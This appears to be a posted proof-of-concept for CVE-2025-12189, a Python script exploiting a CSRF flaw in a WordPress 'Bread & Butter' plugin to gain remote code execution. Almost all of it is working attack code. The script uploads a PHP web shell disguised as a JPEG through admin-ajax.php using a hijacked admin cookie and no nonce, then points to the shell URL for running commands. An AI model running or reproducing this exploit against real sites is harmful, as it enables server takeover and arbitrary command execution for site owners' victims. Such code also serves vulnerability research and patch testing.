CVE-2025-12189 WordPress Bread Butter插件CSRF漏洞导致RCE

import requests import sys # CVE-2025-12189 PoC - CSRF to RCE in WordPress Bread & Butter Plugin # Target: WordPress site with Bread & Butter plugin < 7.11.1374 def exploit_csrf_to_rce(target_url, admin_cookie): """ This PoC demonstrates the CSRF vulnerability in uploadImage() function. Note: Requires social engineering to get admin to click the malicious link. """ # Step 1: Create malicious PHP file for RCE php_shell = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' * 0 + ''' <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> ''' # Step 2: Prepare multipart form data for file upload files = { 'file': ('shell.php', php_shell, 'image/jpeg') } # Step 3: AJAX endpoint for uploadImage() ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Step 4: Missing nonce validation allows CSRF attack data = { 'action': 'bread_butter_upload_image', 'image_data': 'base64_encoded_image_data', 'nonce': '' # No nonce required due to missing validation } # Step 5: Send forged request with admin cookies headers = { 'Cookie': admin_cookie, 'User-Agent': 'Mozilla/5.0 (CSRF Exploit PoC)' } try: response = requests.post(ajax_url, files=files, data=data, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") # Step 6: If successful, access the uploaded shell if response.status_code == 200 and 'success' in response.text.lower(): # Extract uploaded file path from response # Access: target_url/wp-content/uploads/bread-butter/shell.php?cmd=whoami print("[+] Exploit successful! Access shell at:") print(f"[+] {target_url}/wp-content/uploads/bread-butter/shell.php?cmd=whoami") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-12189.py <target_url> <admin_cookie>") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] exploit_csrf_to_rce(target, cookie)